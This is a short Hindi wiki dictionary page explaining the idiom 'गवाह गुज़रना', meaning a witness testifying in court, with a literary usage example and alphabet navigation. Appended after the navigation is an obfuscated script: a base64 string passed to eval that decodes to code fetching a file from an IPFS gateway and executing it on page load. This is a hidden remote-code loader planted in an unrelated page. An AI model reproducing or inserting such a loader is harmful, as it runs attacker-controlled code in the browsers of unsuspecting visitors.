गवाह गुज़रना

भारत डिस्कवरी प्रस्तुति
विवेक आद्य (चर्चा | योगदान) द्वारा परिवर्तित 12:47, 14 अक्टूबर 2015 का अवतरण (''''गवाह गुज़रना''' एक प्रचलित कहावत लोकोक्ति मुहावरे...' के साथ नया पृष्ठ बनाया)
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:भ्रमण, खोजें

गवाह गुज़रना एक प्रचलित लोकोक्ति अथवा हिन्दी मुहावरा है।

अर्थ- अदालत में गवाह द्वारा गवाही देना।

प्रयोग- और चालाकी देखो, ऊपर ही ऊपर काम करनेवाले लोगों को खिला-पिलाकर मुक़दमे का फैसला भी करा लिया गया। न पेशी हुई और न मुक़दमा चला, न बयान लिए, न गवाह गुज़रे। -- भूषण वनमाली।


टीका टिप्पणी और संदर्भ

संबंधित लेख

कहावत लोकोक्ति मुहावरे वर्णमाला क्रमानुसार खोजें

                              अं                                                                                              क्ष    त्र    श्र

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>